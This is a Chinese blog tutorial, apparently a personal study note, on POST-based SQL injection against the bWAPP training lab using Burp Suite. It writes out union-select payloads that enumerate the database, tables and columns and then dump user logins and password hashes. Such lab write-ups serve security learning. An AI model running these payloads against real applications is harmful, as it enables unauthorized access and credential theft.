sql group by和over一起使用_Web安全(二)SQL注入[二]

20d06f2db0aece4129d236cb0e29c2cd.gif

点击上方蓝字关注!

注:本篇文章为个人学习笔记仅供学习交流。

8a8802dae7f7de6e01a7691414e21475.gif


POST型SQL注入

在HTTP常用方法中,POST方法提交的信息不存储与URL,而是存储在HTTP实体内容中,在大多的提交过程,用户是无感知的。 且注入信息是存储于HTTP实体内容中而不是URL,通过改造实体内容,达到实际执行的SQL语句获取更多信息的目的。

示例

1.开启bwapp漏洞环境,如下图选择SQL injection(POST/Select),级别选择low。

63d62acf654c3399e8eb46be2acc210f.png

2.开启burpsuite,点击GO抓包。

0cdbc48b09bf25ddf327415837fcd7fb.png

f56c6d710e10fda5a6ab2b8face327d9.png

3.如下图,将抓到的指定的包发送到Repeater模块

8764aa2d2f58a609b7e4f499f323cdba.png

4.如下图,输入英文单引号测试。发现报错,说明存在注入点。

47c536f6f7ed3d65d892cfda6d79ab20.png

5.然后用order by 从order by 1开始递增,直到order by 8,发现报错,说明字段数为7。

127d9413171602661ba0ae846338adbc.png

6.用联合查询,查看哪些字段可以回显。

'' union select 1,2 3,4,5,6,7

由下图可以看出,2,3,4,5可以回显。

fb2eb95cc33a9bfe8981e3256a9bb389.png

7.查看数据库相关信息,成功回显相关信息,但回显的信息只有1条而无法获得所有表名。
'' union select 1,database(),user(),version(),table_name,6,7 from information_schema.tables where table_schema=database()

4043ebd07d120b4d6c08bb862b4ddeae.png

8.使用group_concat()函数,回显所有表名。
'' union select 1,database(),user(),version(),group_concat(table_name),6,7 from information_schema.tables where table_schema=database()

b6763ec8011d03ad64b80a993515ed8f.png

9.显示表的字段。
='' union select 1,database(),user(),version(),group_concat(column_name),6,7 from information_schema.columns where table_name='users'

ece5936d562e7b0513aa48f0cd713dc9.png

10.表结构已经知道,直接查询用户名和密码。密码已加密,解密方法见Web安全(二)SQL注入[一]

='' union select 1,database(),user(),group_concat(password),group_concat(login),6,7 from users

52eb25565f181aee8f231f2aec12aca0.png

51e23248e39df5682c491c3c54851a0b.gif

- End -

9b373572dbd3a2132d9ff68e8dee045e.png 往期推荐
  • Web安全(二)SQL注入[一]

  • 全球最大的色情网站,保留着西方媒体最后的良心

  • Web安全(一)文件上传漏洞[三]

a15145fd2494987a4891ad35bf72d5c5.png觉得不错,请点个在看

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值